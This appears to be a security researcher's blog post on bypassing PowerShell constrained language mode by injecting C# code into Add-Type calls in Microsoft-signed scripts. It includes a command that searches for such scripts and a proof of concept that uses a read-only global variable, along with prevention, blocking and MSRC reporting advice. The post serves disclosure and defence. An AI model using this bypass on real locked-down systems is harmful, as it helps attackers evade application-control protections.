Introduction
Constrained language mode is an extremely effective method of preventing arbitrary unsigned code execution in PowerShell. It’s most realistic enforcement scenarios are when Device Guard or AppLocker are in enforcement mode because any script or module that is not approved per policy will be placed in constrained language mode, severely limiting an attackers ability to execute unsigned code. Among the restrictions imposed by constrained language mode is the inability to call Add-Type. Restricting Add-Type makes sense considering it compiles and loads arbitrary C# code into your runspace. PowerShell code that is approved per policy, however, runs in “full language” mode and execution of Add-Type is permitted. It turns out that Microsoft-signed PowerShell code calls Add-Type quite regularly. Don’t believe me? Find out for yourself by running the following command:
ls C:\*
-Recurse -Include
'*.ps1',
'*.psm1' |
Select-String -Pattern
'Add-Type' |
Sort Path -Unique |
% { Get-AuthenticodeSignature
-FilePath $_.Path } |
? { $_.SignerCertificate.Subject
-match 'Microsoft'
}
Exploitation
Now, imagine if the following PowerShell module code (pretend it’s called “VulnModule”) were signed by Microsoft:
$Global:Source = @'
public class Test {
public static string PrintString(string inputString) {
return inputString;
}
}
'@
Add-Type -TypeDefinition
$Global:Source
Any ideas on how you might influence the input to Add-Type from constrained language mode? Take a minute to think about it before reading on.
Alright, let’s think the process through together:
- Add-Type is passed a global variable as its type definition. Because it’s global, its scope is accessible by anyone, including us, the attacker.
- The issue though is that the signed code defines the global variable immediately prior to calling to Add-Type so even if we supplied our own malicious C# code, it would just be overwritten by the legitimate code.
- Did you know that you can set read-only variables using the Set-Variable cmdlet? Do you know what I’m thinking now?
Weaponization
Okay, so to inject code into Add-Type from constrained language mode, an attacker needs to define their malicious code as a read-only variable, denying the signed code from setting the global “Source” variable. Here’s a weaponized proof of concept:
Set-Variable -Name Source -Scope Global -Option ReadOnly -Value
@'
public class Injected {
public static string ToString(string inputString) {
return inputString;
}
}
'@
Import-Module VulnModule
[Injected]::ToString('Injected!!!')
A quick note about weaponization strategies for Add-Type injection flaws. One of the restrictions of constrained language mode is that you cannot call .NET methods on non-whitelisted classes with two exceptions: properties (which is just a special “getter” method) and the ToString method. In the above weaponized PoC, I chose to implement a static ToString method because ToString permits me to pass arguments (a property getter does not). I also made my class static because the .NET class whitelist only applies when instantiating objects with New-Object.
So did the above vulnerable example sound contrived and unrealistic? You would think so but actually Microsoft.PowerShell.ODataAdapter.ps1 within the Microsoft.PowerShell.ODataUtils module was vulnerable to this exact issue. Microsoft fixed this issue in either CVE-2017-0215, CVE-2017-0216, or CVE-2017-0219. I can’t remember, to be honest. Matt Nelson and I reported a bunch of these injection bugs that were serviced by the awesome PowerShell team.
Prevention
The easiest way to prevent this class of injection attack is to supply a single-quoted here-string directly to -TypeDefinition in Add-Type. Single quoted string will not expand any embedded variables or expressions. Of course, this scenario assumes that you are compiling static code. If you must supply dynamically generated code to Add-Type, be exceptionally mindful of how an attacker might influence its input. To get a sense of a subset of ways to influence code execution in PowerShell watch my “Defensive Coding Strategies for a High-Security Environment” talk that I gave at PSConf.EU.
Mitigation
While Microsoft will certainly service these vulnerabilities moving forward, what is to prevent an attacker from bringing the vulnerable version along with them?
A surprisingly effective blacklist rule for UMCI bypass binaries is the FileName rule which will block execution based on the filename present in the OriginalFilename field within the “Version Info” resource in a PE. A PowerShell script is obviously not a PE file though - it’s a text file so the FileName rule won’t apply. Instead, you are forced to block the vulnerable script by its file hash using a Hash rule. Okay… what if there is more than a single vulnerable version of the same script? You’ve only blocked a single hash thus far. Are you starting to see the problem? In order to effectively block all previous vulnerable versions of the script, you must know all hashes of all vulnerable versions. Microsoft certainly recognizes that problem and has made a best effort (considering they are the ones with the resources) to scan all previous Windows releases for vulnerable scripts and collect the hashes and incorporate them into a blacklist here. Considering the challenges involved in blocking all versions of all vulnerable scripts by their hash, it is certainly possible that some might fall through the cracks. This is why it is still imperative to only permit execution of PowerShell version 5 and to enable scriptblock logging. Lee Holmes has an excellent post on how to effectively block older versions of PowerShell in his blog post here.
Another way in which a defender might get lucky regarding vulnerable PowerShell script blocking is due to the fact that most scripts and binaries on the system are catalog signed versus Authenticode signed. Catalog signed means that rather than the script having an embedded Authenticode signature, its hash is stored in a catalog file that is signed by Microsoft. So when Microsoft ships updates, eventually, hashes for old versions will fall out and no longer remain “signed.” Now, an attacker could presumably also bring an old, signed catalog file with them and insert it into the catalog store. You would have to be elevated to perform that action though and by that point, there are a multitude of other ways to bypass Device Guard UMCI. As a researcher seeking out such vulnerable scripts, it is ideal to first seek out potentially vulnerable scripts that have an embedded Authenticode signature as indicated by the presence of the following string - “SIG # Begin signature block”. Such bypass scripts exist. Just ask Matt Nelson.
Reporting
If you find a bypass, report it to secure@microsoft.com and earn yourself a CVE. The PowerShell team actively addresses injection flaws, but they are also taking making proactive steps to mitigate many of the primitives used to influence code execution in these classes of bug.
Conclusion
While constrained language mode remains an extremely effective means of preventing unsigned code execution, PowerShell and it’s library of signed modules/scripts remain to be a large attack surface. I encourage everyone to seek out more injection vulns, report them, earn credit via formal MSRC acknowledgements, and make the PowerShell ecosystem a more secure place. And hopefully, as a writer of PowerShell code, you’ll find yourself thinking more often about how an attacker might be able to influence the execution of your code.
Now, everything that I just explained is great but it turns out that any call to Add-Type remains vulnerable to injection due to a design issue that permits exploiting a race condition. I really hope that continuing to shed light on these issues, Microsoft will considering addressing this fundamental issue.